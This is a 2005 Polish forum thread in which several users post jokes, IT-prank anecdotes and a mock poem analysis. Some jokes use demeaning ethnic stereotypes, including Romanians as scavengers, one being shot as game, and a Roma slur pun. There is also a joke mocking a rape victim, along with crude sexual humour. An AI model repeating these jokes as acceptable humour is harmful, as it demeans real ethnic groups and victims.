- No no, jest pan zdrowy jak byk! Wszystkie wyniki w porządku! Z seksem też pan chyba nie ma problemów?
- Cóż, tak ze trzy razy w tygodniu to sobie dogodzę.
- Trzy razy w tygodniu? Z pana kondycją to i trzy razy dziennie można by było.
- Niby tak, ale pan doktor wie, jaki jest los proboszcza na wiejskiej parafii.

Dzieci miały przynieć do szkoły rożne przedmioty związane z medycyna. Małgosia przyniosła strzykawkę, Kasia bandaż, a Basia słuchawki.
- A ty co przyniosles? - Pyta nauczycielka Jasia.
- Aparat tlenowy!
- Tak...? A skąd go wziąłe?
- Od dziadka.
- A co na to dziadek?
- Eeech... cheee....

Efraim Ryba - 15-02-2005, 07:54

nevada napisał/a:
http://www.dwd.hu/


no tak, nareszcie ktoś jasno pokazał, jak tragiczne w skutkach może być rzucanie palenia :lol:

Artur Kornacki - 15-02-2005, 20:41

na srodku jeziora Dwóch wędkarzy łowi sobie rybki i widzą że niedaleko nich topi się mężczna, no to niewiele myśląc, płyną do niego, gdy dopłynęli na miejsce gość był już pod wodą, jeden z wedkarzy rzuca się do wody nurkuje kilka razy w końcu wyciąga ciało.
- Cholera nie oddycha!
-rób mu sztuczne oddychanie ja bede robił masaż serca !
No i go tak reanimują przez chwile w końcu jeden mówi
-stary słuchaj to chyba nie nasz
Drugi odrywając swoje usta od usta topielca pyta zdziwiony o co chodzi?
- to nie nasz ...........ten ma łyżwy.

60 letnie malzenstwo mialo sporo mlodszego od siebie znajomego (okolo 30).
Pewnego razu znajomy odwiedza ich i jak za kazdym razem nie moze wyjsc z podziwu, ze maz zwraca sie do zony w takie slowa jak:
kochanie, skarbie, misiaczku, kruszynko, serce, duszko itp., itd.
W momencie gdy malzonka poproszona o cukier wychodzi do kuchni, natychmiast pyta jej meza:
- sluchaj jak to jest, jestescie 35 lat po slubie a Ty do niej caly czas kochanie, skarbie, misiaczku, kruszynko, serce, duszko itp., itd?
Musisz ja strasznie okchac?
Maz na to:
- eee...wiesz jak to jest: ja juz 20 lat temu zapomnialem jak ona ma
na imie!

Caryca Katarzyna szukała wytrawnego kochanka, lecz żaden z kandydatów nie wytrwał dłużej niż 50 orgazmów. Katarzyna była niepocieszona. Wkrótce jednak dowiedziała się ze w dalekiej syberyjskiej puszczy mieszka młody drwal, który może zaspokoić każda kobietę. Udała się Katarzyna do owego drwala i mówi:
- Albo zaspokoisz mnie 100 razy, albo mój kat zetnie ci głowę.
Drwal się zgodził i wspólnie z caryca odliczali kolejne orgazmy drwala:
- 1, 2, 3, ..50, ........,90, ..... Katarzyna już nie wytrzymuje, ale drwal mówi miało być 100, to będzie 100, i liczą dalej. Gdy doszło do 99 orgazmu Katarzyna kłamiąc krzyczy:
- 100!
- Nie, 99 mówi drwal.
- 100, według moich rachunków jest już setny raz.
- Caryco, mówi drwal, ja jestem człowiek prosty, ale uczciwy, pogubiliśmy się w rachunkach więc zaczynamy od nowa!

Idzie sobie kromka chleba po Bukareszcie, rozgląda się wokoło i coraz mniej zaczyna jej się podobać - naokoło pełno Rumunów!
Wytrzeszczają oczy, ślinią się na jej widok. A, że to była rozgarnięta kromka chleba, skojarzyła szybko fakty i dawaj w długą! Rumuni za nią!
To ona w boczną uliczkę! Oni za nią! Wpadła między podwórka, przemknęła wśród sznurów od bielizny, przeskoczyła przez ogrodzenie, leci po jakimś dachu, zeskakuje, kluczy, wreszczcie wpada na jakieś podwóreczko.
Patrzy, a na leżaku leży kotlet schabowy i spokojnie się opala.
Kromka: - Stary, spadajmy stąd, gonią mnie Rumuni, zaraz tu będzie jatka! Jak nic, zjedzą nas na bank, mówię ci, spadamy!
A schaboszczak rozparł się wygodnie:
- Spokojnie, to ciebie zjedzą, mnie tu nikt nie zna!

żeby nie było spamu
wchodzi facet na dyskoteke w Wołominie i ochroniarz przy wejściu pyta się:
-Ma pan pistolet?
-nie!
-a nóż?
-nie!
-a bejsbola?
-nie mam broni!!!
ochroniarz bierze butelke i robi tulipana:
-to bierz pan chociarz to!

Jeden studen spotyka drugiego.

- cześć
- cześć
- gdzie idziesz?
- na piwo
- ty to umiesz namówić

Tomek Radomski - 18-02-2005, 20:24

Entuzjastycznie nastawiony do nowej pracy akwizytor - sprzedawca odkurzaczy zapukał do pierwszych drzwi. Otworzyła mu kobieta, lecz zanim zdążyła coś powiedzieć ten wbiegł do domu, wpadł do salonu i zaczął rozrzucać po całym dywanie rozmoknięte krowie łajna.
- Proszę pani, jeśli ten wspaniały odkurzacz w cudowny i genialny sposób nie posprząta tego, zobowiązuję się zjeść to wszystko - mówi podniecony.
- A keczup pan chce, może musztardę?
- Słucham???
- Właśnie się wprowadziłam i elektrownia nie podpięła jeszcze prądu.

****************klasyk******************
Przychodzi żaba do lekarza ze skarpetą na głowie, lekarz pyta:
-Co ci dolega???
A żaba na to:
- Nic mi k***a nie dolega, to jest napad!

****************stare*******************
Siedzi facet nad rzeka i łowi ryby. Słyszy najpierw cicho, potem coraz głośniej niosący się po wodzie i ciągle powtarzający okrzyk "P***DOL SIĘ!" Po chwili widzi płynący kajak. W kajaku siedzi gość i ostro wiosłuje. Z bliska widać, ze nie używa wioseł, ale dwóch wielkich patelni. Wędkarz myśli, myśli, a potem krzyczy do niego:
- Panie, a nie łatwiej byłoby wiosłami???
- P***DOL SIĘ!

***************brzydkie*****************
Podjeżdża biznesmen Mercedesem, patrzy a tu Rumun siedzi i smaruje chleb g*****, pyta:
- Rumun, co bida?
- No, bida...
- To czemu tak grubo smarujesz?

Pitt_M - 18-02-2005, 21:48

Dla myśliwych :
Zbiorowe polowanie, porządny hotel w lesie, porządny apartament i smutny myśliwy, na zbiorowym polowaniu tego dnia rano wszyscy myśliwi coś ustrzelili tylko nie on. W pewnym momencie patrzy a tu za oknem w śmietnikach buszuje dwóch Rumunów, chwycił strzelbę, otworzył okno, dwa strzały - obaj leżą. Po kilku minutach wbiega główny łowczy i krzyczy - coś pan zrobił ? a ten mówi: no jak to, piękne strzały oba na komorę, na to łowczy : ale kolego - przy paśniku !?

(Sorry za nacjonalizm)

snoop - 20-02-2005, 20:04

Żołnierz, tak prawdę mówiąc, nie ma nic ważnego do roboty, ale obowiązkowo musi to wykonać o świcie.
* * *
PZPN zafundował piłkarzom wycieczkę za granicę. Jednym z najważniejszych etapów podróży będzie ściana płaczu.
* * *
Nigdy nie bój się próbować czegoś nowego. Pamiętaj - amatorzy zbudowali arkę, profesjonaliści Titanica...
* * *
Odkryto nieznany list św. Pawła do Koryntian. Zaczynał się od słów: "Nie wyrzucajcie tego listu. To nie jest spam......"
* * *
Hrabia do hrabiny:
- Czy byłabyś skłonna odbyć ze mną stosunek?
- Nie...
- A czy mogłabyś się położyć to ja bym odbył?
* * *
- Co ma wspólnego tornado w Teksasie z rozwodem w Tennessee?
- I w tym i w tym przypadku możesz stracić przyczepę kampingową.
* * *
Wyłowił wędkarz starą butelkę. Widzi w środku siedzi Dżin. Zaczyna więc pocierać szkło. Trze, trze i nic. Nagle słyszy przytłumiony głos:
- Korek wyciągnij głupi ch*ju.
* * *
- Ratunku, w parku chcieli mnie zgwałcić.
- Kto?
- Jakiś zboczeniec.
- Ślepy???
* * *
- Ojcze czy spanie z dziewczyną to wielki grzech?
- To nie grzech synu, tylko wy młodzi to rzadko śpicie...
* * *
- Cześć tato, wróciłem!!!
Ojciec siedzący przed komputerem, nie odrywając wzroku od monitora pyta:
- A gdzieś ty był?
- W wojsku tato...
* * *
W kieliszku z wódką optymista widzi 40% spirytusu, pesymista – 60% wody...
- A co widzi realista?
- Realista nie patrzy, on pije...


źródło
http://www.joemonster.org


pozdravki

Te_Pe - 20-02-2005, 21:32
Temat postu: źródło http://www.joemonster.org
POCZĄTKUJĄCY CRACKER

Mam dla was opowiastkę sprzed dwóch dni, z Empiku.
Stoję sobie na grach komputerowych, oglądam ze sprzedawcą demko nowych Settlersów, gadamy o jakichś pierdołach. Nagle podchodzi małolat (M). Takie skrzyżowanie blokersa z wypłoszem, na oko lat 15 - 17. Podchodzi i zagaja do sprzedawcy (S).
M - A żeby uruchomić Bitwę o Śródziemie, to potrzeba cd-klucza?
S - No tak...
M - Aha, no bo ja oglądałem pudełko i tam nie ma żadnego naklejonego.
S - No nie ma, jest wklejony w środku.
M - Aha, a mógłbyś otworzyć jedno, to bym se spisał.

tsharny - 20-02-2005, 22:26
Temat postu: Re: źródło http://www.joemonster.org
Te_Pe napisał/a:
POCZĄTKUJĄCY CRACKER

Mam dla was opowiastkę sprzed dwóch dni, z Empiku.
Stoję sobie na grach komputerowych, oglądam ze sprzedawcą demko nowych Settlersów, gadamy o jakichś pierdołach. Nagle podchodzi małolat (M). Takie skrzyżowanie blokersa z wypłoszem, na oko lat 15 - 17. Podchodzi i zagaja do sprzedawcy (S).
M - A żeby uruchomić Bitwę o Śródziemie, to potrzeba cd-klucza?
S - No tak...
M - Aha, no bo ja oglądałem pudełko i tam nie ma żadnego naklejonego.
S - No nie ma, jest wklejony w środku.
M - Aha, a mógłbyś otworzyć jedno, to bym se spisał.


hahahaha :mrgreen:
dawno sie tak nie ubawilem :20: :22:

pozdrawiam
tsharny

Aston - 21-02-2005, 16:36

1) Kiedyś pracowałem z babeczką której podmieniłem wygaszacz na czarny ekran. Nie było widać nic po prostu czarny monitor. Ona oczywiście nie wiedziała, że to wygaszacz i przyszła kiedyś do mnie z prośba, żebym włączył jej komputer. Podszedłem do sprawy fachowo. Zamyśliłem się, chrząknąłem, znowu zamyśliłem, a potem poinformowałem ją, że jeden z kabli w komputerze jest luźny. I trzeba mocno huknąć dłonią w biurko, żeby zaczął stykać. I dla przykładu uderzyłem mocno w biurko, co okazało się nad wyraz skuteczne. Oczywiście chodziło o to, żeby poruszyć myszkę i wyłączyć wygaszacz. Tak mi się ta zabawa spodobała, że byłem ciekaw kiedy kobitka się zorientuje... Po dwóch miesiącach, kiedy widziałem jak szkoli nową osobę, i uczy ją umiejętnie uderzać w biurko "...bo kabelek jest lużny" nie wytrzymałem. Podszedłem i wyjawiłem całą prawdę...
Wiem, mięczak ze mnie...

2) Kiedyś stworzyłem efekt graficzny, który wyglądał jak przesuwające się światło w kserokopiarce. Oczywiście nie mogłem się oprzeć i wbudowałem go w program w biurze. Pracownikom zaś powiedziałem, że mamy teraz zawansowany program i oprócz logowania muszą jeszcze przykładać rękę do ekranu - wtedy ekran skanuje ich odciski palców. Przez prawie miesiąc miałem ubaw, patrząc jak pięcioro głąbów przed każdym zalogowaniem przykłada rękę do ekranu i czeka aż ekran zeskanuje ich odciski. Oczywiście bawiłbym się dłużej, gdyby nie szef, który wszedł do biura z rozdziawioną szczęką, wziął mnie na bok i kazał mi to natychmiastodinstalować...


3) Siedzę sobie w kanciapie z kumplem i nagle wpada zaaferowana kobieta - palant z dyskietką w ręku i mówi, że stacja jej padła. Pouczyłem ją, że trzeba było zadzwonić (akurat bym się ruszył), ale w końcu mnie namówiła i razem z kumplem poszliśmy obadać sprawę. Dochodzimy do jej biurka, ja patrzę, a ona wkłada dyskietkę do góry nogami i krzyczy, że "Stacja nie działa, a ona MUSI zgrać co trzeba!". Patrzę na kumpla, on na mnie, widzę że kumpel już ma powiedzieć Pani w czym rzecz, więc gestem ręki go uciszam i mówię: - Bo widzi Pani. Ktoś sfuszerował sprawę! Ma Pani komputer postawiony do góry nogami... - po czym przekręciłem jednostkę i wyszedłem z pokoju z kumplem, żeby się wyśmiać.


4) Zadzwoniła do nas kobitka i stwierdziła, że jakiś idiota odłączył jej LAN. W życiu babki nie widziałem, ani jej komputera, ale idę do niej. Akurat nie było jej w boksie, ale już widzę, co jest grane. Panienka przesunęła sobie komputer z prawej strony boksu na lewą. A że kabel z sieci był za krótki, to go odłączyła. Przesunąłem komputer z powrotem na prawą stronę, wcisnąłem dyndającą wtyczkę i napisałem kartkę: "DZIAŁA TYLKO PO TEJ STRONIE BOKSU!"


5) Szef firmy pojawił się w biurze w laptopem. Miał ważną pracę do zrobienia więc rozłożył się w swoim gabinecie ze sprzętem. Nagle słyszę jak mnie wzywa do siebie.
Szef: Mam z tym problem. Jak się włącza Windows, to po kilku sekundach wszystko gaśnie...
Ja: = Czy bateria jest naładowana?
Szef: (tonem nie znoszącym sprzeciwu) Oczywiście, = że jest! Ja idę, a Ty to napraw.
Po czym szef wyszedł z gabinetu. No więc zasiadłem do sprzętu, włączam i faktycznie, Winda się ładuje i wszystko znika. Miałem naprawdę ciężki dzień, ale nic, próbuję dalej. Wciąż z tym samym rezultatem... Już miałem zapłakać, gdy zauważyłem, że kabel zasilający jest odłączony. Podłączyłem do sieci i laptop śmigał jak nowiutki, a więc bateria nie była naładowana, ha!. Zadzwoniłem, powiedziałem, że to potrwa jeszcze z 3 godziny i zabrałem się za układanie pasjansa (przecież, to był ciężki dzień), aż w końcu zjawił się szef. Zaskoczony, że tak szybko się uporałem spytał jak to zrobiłem. Uśmiechnąłem się i powiedziałem: -Musiałem shakować Pana rejestr, ponieważ wirus spowodował konflikt między portem myszy, a UART w CONFIG.SYS. To był ciężki kawałek roboty, ale udało mi się skonwertować Pański kernel
z binarnego na hexagonalny i wejść przez furtkę w IRQ do BIOSU... A
on to kupił

Marek Macner - 22-02-2005, 10:32

Analiza wierszyka "Na piękną, słoneczną wiosenkę"

PTASZEK SOBIE FRUNIE Z DALA,
W GÓRZE SŁOŃCE ZAPIERDALA,
ŻABA DUPĘ W WODZIE MOCZY,
a fee! CO ZA DZIEŃ UROCZY!!!

Analiza
Wiersz jednozwrotkowy, czterowersowy z rymem sylabowym, z równomiernie rozłożonym akcentem. Podmiot liryczny wyraża swoje głębokie zadowolenie z otaczającego go świata, przepełnia go kwitnący stoicyzm i szczęście, które - człowiekowi żyjącemu we współczesnym zamęcie - może dać tylko otaczająca przyroda. Dla podmiotu lirycznego nawet zanurzona w błękicie wody dupa żaby jest pretekstem do euforii. Zapierdalające inne stworzenia sugerują wczesne lato, kiedy świat zwierzęcy obudził się z otchłani zimy. Puenta liryku jest jednoznaczna i łatwo odczytywalna.

"Ja" liryczne personifikuje słońce. W słowie "zapierdala" oddaje szybkość i złożoność ruchu słońca, które przecież nie jest istota ludzka i nie może "zapierdalać" senso stricte.

Uwagę zwraca użycie wulgaryzmów, których znajomość świadczy o ludowych korzeniach poety i głębokiej więzi ze społeczeństwem. W moim rozumieniu autor chciał się tym utworem odwdzięczyć środowisku, z którego wyrósł, za poświecenie i trud włożony w zapewnienie mu należytego wykształcenia.

Szkoda, ze tak mało w dzisiejszej poezji wierszy o tak pogodnym nastroju/

snoop - 22-02-2005, 14:14

Po kilkunastu latach małżonek patrząc na żonę mówi:
- Tyłeczek masz zgrabny, cycusie też niczego sobie... eesz... ale, żebys ty chociaż troszkę obca była...


pozdravki

[ Dodano: Sro 23 Lut, 2005 ]
Nauczycielka poleciła dzieciom, zeby napisaly
wypracowanie, które zawierac bedzie cztery tematy:

1. Monarchia
2. Seks
3. Religia
4. Tajemnica

Powiedziala, ze kto skonczy bedzie mógl iść do domu.
Dzieci zaczeły pisać. Po kilkunastu sekundach wstaje
Jasio i oddaje prace. Nauczycielka nie chce wierzyć, że
udało mu się już skończyć. Prosi go, żeby odczytał swoje wypracowanie.
Jasio wstaje i czyta z dumą:
Cytat:

"Ktoś zerżnął królową! Mój Boże! Kto?"

ewick - 25-02-2005, 21:59
Temat postu: Jak dać kotu tabletkę
Jak dać tabletkę kotu:
1. Weź kota na ręce i otocz go lewym ramieniem tak, jak się trzyma niemowlę.Umieść palec wskazujący i kciuk prawej ręki po obu stronach pyska i naciśnij lekko trzymając tabletkę w pozostałych palcach prawej ręki. Gdy kot otworzy pysk wpuść tabletkę, pozwól kotu zamknąć pysk i przełknąć.
2. Podnieś tabletkę z podłogi i wyciągnij kota spod tapczanu.Ponownie otocz kota lewym ramieniem i powtórz cały proces jeszcze raz.
3. Wyciągnij kota z sypialni i wyrzuć rozmamłaną już tabletkę.
4. Wyjmij nową tabletkę z opakowania, otocz kota lewym ramieniem jednocześnie trzymając lewą ręką wierzgające tylne nogi. Rozewrzyj pysk kota i palcem wskazującym prawej ręki wepchnij tabletkę tak głęboko jak się da. Przytrzymaj kotu zamknięty pysk i policz do dziesięciu.
5. Wyciągnij tabletkę z akwarium a kota z garderoby. Zawołaj żonę do pomocy.
6. Przyduś kota do podłogi klinując go miedzy kolanami jednocześnie trzymając wierzgające przednie i tylnie łapy. Nie zwracaj uwagi na niskie warczące odgłosy wydawane w tym czasie przez kota. Niechżona przytrzyma głowę kota jednocześnie wpychając mu drewniana linijkę miedzy zęby. Następnie wsuń tabletkę wzdłuż linijki miedzy rozwarte zęby i intensywnie pogłaszcz kota po gardle co skłoni go do przełknięcia.
7. Wyciągnij kota siedzącego na karniszach i rozpakuj nowatabletkę. Zanotuj sobie, żeby wymienić firanki. Pozbieraj kawałki porcelany z potłuczonej wazy, możesz je posklejać później.
8. Owiń kota w ręcznik kąpielowy, a następnie niech żona położy się na kocie tak, żeby tylko jego głowa wystawała spod jej pachy. Umieść tabletkę w środku plastikowej rurki do napojów. Przy pomocy ołówka otwórz kotu pysk i wcisnąwszy rurkę miedzy rozwarte zęby mocno wdmuchnij tabletkę do środka.
9. Sprawdź na opakowaniu, czy tabletki nie są szkodliwe dla ludzi,a następnie wypij jedna butelkę piwa żeby pozbyć się nieprzyjemnegosmaku w ustach. Zabandażuj żonie rozdrapane ramie, a następnie przypomocy cieplej wody z mydłem usuń plamy krwi z dywanu.
10. Przynieś kota z altanki sąsiada. Rozpakuj następna tabletkę. Przygotuj następna butelkę piwa. Umieść kota w drzwiczkach od kredensu tak, żeby przez szczelinę wystawała tylko jego głowa. Rozewrzyj mu pysk łyżeczka od herbaty i przy pomocy gumki "recepturki" strzel tabletka miedzy rozwarte zeby.
11. Przynieś śrubokręt i przykręć wyrwane zawiasy z drzwiczek na swoje miejsce. Wypij piwo. Weź butelkę wódki. Nalej do kieliszka i wypij. Przyłóż zimny kompres do policzka i sprawdź, kiedy ostatnio byłeś szczepiony na tężec. Przemyj policzek wódką w celu zdezynfekowania rany i wypij kolejny kieliszek aby ukoić ból. Podarta koszule możesz już wyrzucić.
12. Zadzwoń po straż pożarna, żeby ściągnęli tego pier... kota z drzewa. Przeproś sąsiada, który wjechał samochodem w płot próbując ominąć kota przebiegającego przez ulice. Wyjmij kolejna tabletkę z opakowania.
13. Skrępuj tego drania przy pomocy sznurka od bielizny związującrazem przednie i tylnie łapy, a następnie przywiąż go do nogi od stołu. Weź grube skórzane rękawice ogrodnicze. Wciśnij tabletkę kotu do gardła popychając dużym kawałkiem polędwicy wieprzowej. Już nie musisz być delikatny. Przytrzymaj głowę kota pionowo i wlej mu dwie szklanki wody wprost do gardła żeby spłukać tabletkę.
14. Wypij pozostała wódkę z butelki. Pozwól żonie zawieźć się na pogotowie. Siedź spokojnie, żeby doktor mógł zaszyć ci ramie i wyjąc resztki tabletki z oka. Po drodze do domu wstąp do sklepu meblowego i kup nowy stół.
15. Zadzwoń do schroniska dla zwierząt, żeby zabrali tego mutanta z piekła rodem i sprawdź, czy w pobliskim sklepie zoologicznym nie mają chomików.

Jak dać tabletkę psu:
1. Zawinąć tabletkę w plaster szynki.
2. Zawołać psa.

snoop - 26-02-2005, 20:40

Zmęczony gość wchodzi do hotelu i pyta się o wolne miejsce.
Recepcjonista mówi, że jest pełne obłożenie, żadnego wolnego pokoju.
Ale, ale... w dwójce mieszka jeden facet, ale on strasznie chrapie, więc nie radzi.
Gościu bierze jednak wolne miejsce w dwójce, cóż ma zresztą począć.

Rano Gościu schodzi na śniadanko, ten sam recepcjonista pyta się uprzejmie jak się spało ?
Gościu : Okej, wypocząłem, czuję się jak młody Bóg.

Po chwili schodzi na śniadanko drugi współlokator : obraz nędzy i rozpaczy, niedospany, oczy przekrwione, totalne wkur***nie.

Recepcjonista : Jak się szanownemu Panu spało ???
Współlokator : Jakie spanie ! Kogoś mi pan dokwaterował ! Śpię sobie spokojnie, nagle ktoś mnie całuje w usta i męski głos mówi mi : śpij mały, zaraz do ciebie przyjdę !!! Zasnąłbyś pan po czymś takim ?!

----------------------------------

Gośc go recepcjonisty:
Panie, trzy noce nie spałem, jestem wykończony, proszę o jakiś cichy pokój. Dostał pokój , poszedł spać.
O północy przyszedł do hotelu ździebko nawalony gość, który mieszkał obok. Recepcjonista uprzedza- proszę się zachowywać cicho, obok mieszka bardzo zmęczony gość- chce wypocząć.
Gość pomaszerował na górę, ale jak to bywa, po chwili , z pieśnią na ustach wkroczył do pokoju, zaczął się rozbierać. Zrzucił buta i w tym momencie przypomniał sobie o co prosił recepcjonista. Dalej już po cichutku położył się spać.
O czwartej nad ranem słychać ryk z sąsiedniego pokoju.. ku**a zdejm wreszcie tego drugiego buta!!

źródło


pozdravki

Efraim Ryba - 28-02-2005, 14:36

Na pustyni wycieńczony wędrowiec znalazł butelkę. Uradowany odkorkował ją. Nie było w niej wody, ale za to wyskoczył dżin.

- Powiedz, czego chcesz, a spełnię każde twoje życzenie - zaproponował.

- Chcę do domu, do Chicago.

Dżin wziął wędrowca za rękę i zaczyna prowadzić go po pustyni.

- Ale ja chcę szybko! - protestuje wędrowiec.

- No to biegnijmy!

[ Dodano: Wto 01 Mar, 2005 ]
Jak odróznic gatunki niedzwiedzia? (metoda praktyczna):

Najpierw trzeba znalezc niedzwiedzia, podejsc do niego po cichutku i kopnac go w jaja, oczywiscie z calej sily.
Nastepnie spie...
I teraz:
- jesli spie..., a niedzwiedz nie goni nas, to jest to mis pluszowy
- jesli spie... na drzewo, a niedzwiedz wchodzi za nami, to jest to niedzwiedz brunatny.
- jesli spie... na drzewo, a niedzwiedz zaczyna nim trzasc tak, ze spadamy w jego lapska, to
jest to niedzwiedz Grizzly
- jesli spie.... na drzewo, a niedzwiedz wspina sie za nami i wpieprza liscie, to jest to mis
> koala
- jesli spie.... i nigdzie nie ma drzew, to jest to niedzwiedz polarny...
- jeśli po kopnięciu w jaja nieźwiedź zaczyna płakać, to jest to Miś Koralgol- największa pipa
wśród niedźwiedzi :)))

[ Dodano: Sro 02 Mar, 2005 ]
Czy moge prosic o reke Panskiej córki?
- A co, nie masz swojej - zazartowal ojciec
- Mam, ale juz zmeczona - zazartowal chlopak

[ Dodano: Czw 17 Mar, 2005 ]
Siedza dwaj chinscy generalowie i mowia:
- Atakowac bedziemy malymi grupami, po dwa, trzy miliony...

[ Dodano: Czw 17 Mar, 2005 ]
Dentysta schyla się właśnie nad pacjentem i ma zamiar rozpocząć
borowanie,gdy nagle zastyga w bezruchu i pyta nieufnie: - Czy mi
się to tylko wydaje, czy też trzyma pan rękę na moich jądrach? Pacjent
spokojnym głosem: - To tylko taka mała asekuracja. Bo przecież nie chodzi
o to, żebyśmy sobie ból zadawali... Prawda Panie Doktorze?

[ Dodano: Czw 17 Mar, 2005 ]
Dwaj znudzeni krupierzy siedzieli przy stole z ruletka "gdy
do kasyna weszla bardzo atrakcyjna blondynka. Podeszla
do stolu i zadeklarowala zaklad na 20 tys. dolarów na konkretna
liczbe.
Zaraz potem dodala:
- Mam nadzieje, ze to wam nie bedzie przeszkadzac,
ale naprawde szczesliwe zaklady obstawiam kompletnie nago.
Po czym zrzucila z siebie suknie, bielizne i buty i rozkrecila
talerz ruletki z okrzykiem:
Mamusia potrzebuje pieniazki na nowe ubranko!
Chwile pózniej juz wykrzykiwala:
- TAK! TAK! WYGRALAM! NAPRAWE WYGRALAM!
Podskakiwala przy tym jak mala dziewczynka i obejmowala kazdego
z krupierów. Zaraz potem zebrala wszystkie pieniadze i swoje rzeczy
i predko opuscila kasyno.
Krupierzy nieco zaklopotani popatrzyli na siebie, po czym jeden
z nich zapytal drugiego:
- Ty, a co ona wlasciwie obstawiala?
Drugi odparl:
- Nie mam pojecia, myslalem, ze Ty to sprawdzasz!

Moral: nie wszystkie blondynki sa glupie, ale wszyscy
faceci sa tylko facetami...

[ Dodano: Pon 21 Mar, 2005 ]
Zatrzymuje milicjant studenta, legitymuje go, otwiera dowód i czyta:
- Widzę ze nie pracujemy - mówi milicjant
- Niieee pracujemy - potwierdza student
- Opie-dalamy się .. - mówi milicjant
- Opie-dalamy się - potwierdza student
- O!? Studiujemy - rzecze policjant
- Nieeee, tylko ja studiuje ..

[ Dodano: Pon 21 Mar, 2005 ]
Szli przez las Kubus i Prosiaczek. Prosiaczek zapytal:
- Dokad idziemy Kubusiu?
- Idziemy bic swiniaka.
- A jak nam ucieknie? - pyta Prosiaczek
Kubus na to:
- Ja ci, cholera, uciekne!

tsharny - 25-04-2005, 15:21

Autobusem miejskim, obok siebie na siedzeniu jedzie mlody chlopak oraz
moherowa babcia (12 batalion 22 pulku Moherowych Beretów "Rydzyk, Honor i
Ojczyzna"). Chlopak odebral telefon i tak mówi:
- Aniu, bede u ciebie dzis o 19. Bardzo cie kocham. Jesteś dla mnie jedyna.
Po chwili odbiera drugi telefon:
- Czesc Basiu! Wiesz, ze kocham tylko ciebie. Wpadne do ciebie jutro o 20.
Moherowej babci zaczerwienila sie twarz i zbladl beret. Achlopakowi znowu dzwoni telefon:
-Czesc! Juz do Ciebie jade. Stesknilem sie za toba. Istniejesz dla mnie tylko ty Staszku.
Moherowa babcia wybuchla jak bomba. Zaczela biednego chlopaka wyzywac od zboczonych bezbozników, oraz sodomitów.
Chlopak spasowial na twarzy, ale zachowal zimna krew.
Odpowiedzial babci:
- Przeciez musze sie zabawic przed powrotem do seminarium.

pozdrawiam
tsharny

Njoy - 25-04-2005, 16:53

Jak pociesza sie gosc majacy naprawde piekna zone?
Powtarza sobie w myslach,iz lepiej jesc w dziesiecu tort niz samemu g........ .

Jak sie nazywa cygan handlujacy plytami kompaktowymi?
CD ROM.

Pozdrawiam,Michal.

Te_Pe - 03-05-2005, 08:22
Temat postu: dowcipy, nie nurkowe
polecam film szkoleniowy:
film :-)

ze strony www.funiaste.net

Tomek Radomski - 17-05-2005, 19:05

Egzamin przed komisją na studia prawnicze:

Egzaminator: - Dlaczego zdecydował sie Pan studiować na Wydziale Prawa??

Student: - Tato, nie wygłupiaj się....

agrest - 17-05-2005, 20:54

Michael'owi Jackson'owi urodzil sie syn.
Przyjechal do szpitala,
odebral zone i dziecko,
potem zajzal jeszcze do lekarza.
- Panie doktorze, od kiedy mozemy zaczac uprawiac sex?
Lekarz pomyslal, podumal i przytepionym glosem powiedzial:
- no.... przynajmniej jak zacznie chodzic :)

J.

Cezary Kędzia - 21-05-2005, 11:01

1.Wiecie po czym poznać że przekracza sie granicę holenderską?
-krowy są piękniejsze od kobiet.

2.Terazz coś z mojej branży:

Akademia Medyczna -1 rok kolokwium pisemne z anatomii:
zdaje student i studentka. Egzaminator zadaje pytanie:
-czy członek męski ma kość?
Po przeczytaniu odpowiedzi mówi:
-pan zdał a pani się zdawało

tsharny - 23-05-2005, 11:18

Do szpitalnej sali wchodzi facet:
- Kto miał analizy robione dwudziestego?
- Ja - jeden z pacjentów podnosi rękę.
- Ile pan ma wzrostu?
- Metr siedemdziesiąt.
- Aha - facet odwraca się na pięcie i wychodzi.
- Panie doktorze, jak moje wyniki? - woła za nim pacjent.
- Nie jestem lekarzem tylko stolarzem.

pozdrawiam
tsharny

Tomek Radomski - 25-05-2005, 00:18

Na świecie są dwa rodzaje ludzi.
Ci co zarabiaja pieniądze i ci co wydają.
Powszechnie znani są pod nazwą mąż i żona.

----------------------------------------------------------------------------

Spotyka się dwóch kumpli:
- Wiesz, jak piję, to mi potem leci krew z nosa.
- Rozumiem, ja też mam nerwową żonę.

----------------------------------------------------------------------------

Stoi facet na deszczu przed barem i myśli:
- Stać na deszczu i moknąć, czy wejść do środka i się zalać ??

----------------------------------------------------------------------------

Z lekka nassany gość wraca o 6 nad ranem do domu, po całonocnej libacji alkoholowej.
Drzwi otwiera zaspana żona i pyta:
- Zakładam, że masz bardzo dobry powód, dla którego pojawiasz się o tej godzinie?!
Na co on odpowiada:
- Oczczczyffffffffiiiiiście. Śniadanie, kochanie!

martin - 25-05-2005, 08:07

Podobne:

Ludzi dzieli sie na 10 rodzai.

Ci co potrafia liczyc w systemie dwojkowy i ci no nie potrafia.

agrest - 25-05-2005, 10:45

No tak ale piszac "10 rodzai" krzywdzisz ludzi ktorzy licza w dwojkowym. POwinienes napisac na "10 rodzaje" :) ale wtedy obrazilbys tych pierwszych.... fajne, fajne.
Zabczyński - 25-05-2005, 11:02

A to znacie:
Przychodzi pracownica do dyrektora:
Jestem zmuszona prosić pana o podwyżkę, ponieważ interesują się mną trzy firmy.
- A moge wiedzieć jakie to? - pyta dyrektor.
- Elektrownia, Idea i gazownia.

Andrzej S - 25-05-2005, 12:15

Przychodzi baba do lekarza i mówi ze ja wszystko wku.wia
- jak to wku.wia??
- Normalnie, panie doktorze wszystko mnie wku.wia
- a próbowała pani np. czytać książki?
- Ostatnio czytałam dwie, ale odłożyłam bo mnie wszystko wku.wia
- a na spacery pani chodzi?
- Byłam ostatnio na spacerze, ale zaraz wróciłam bo mnie wszystko wku.wia
- a seksu pani próbowała?
- seksu to nie, panie doktorze
- to może teraz ja z Panią spróbuję i troche sie pani odpręży
- no dobrze...moze cos wreszcie mi pomoze Poszli za parawan; baba
kladzie sie na kozetce. Lekarz na nia i zaczyna dzialac. Baba tak patrzy na niego i mowi:
- panie doktorze, niech sie pan wreszcie zdecyduje czy pan wklada
czy wyjmuje... bo zaczyna mnie to wku.wiac.

Ogrood - 25-05-2005, 17:15

W knajpie spotyka się dwóch kupli:
- Słyszałeś, ponoć Staszek nie żyje!
- Tak, wiem o tym doskonale... Wyobraź sobie, że Staszek jechał samochodem
obok mojego domu i nagle wyskoczył mu pod koła kot. Staszek nie chciał
przejechać zwierzaka wiec szarpnal kierownica w bok, wjechal na kraweznik,
auto wylecialo w powietrze, przeturlalo sie po moim ogrodzie, Staszek
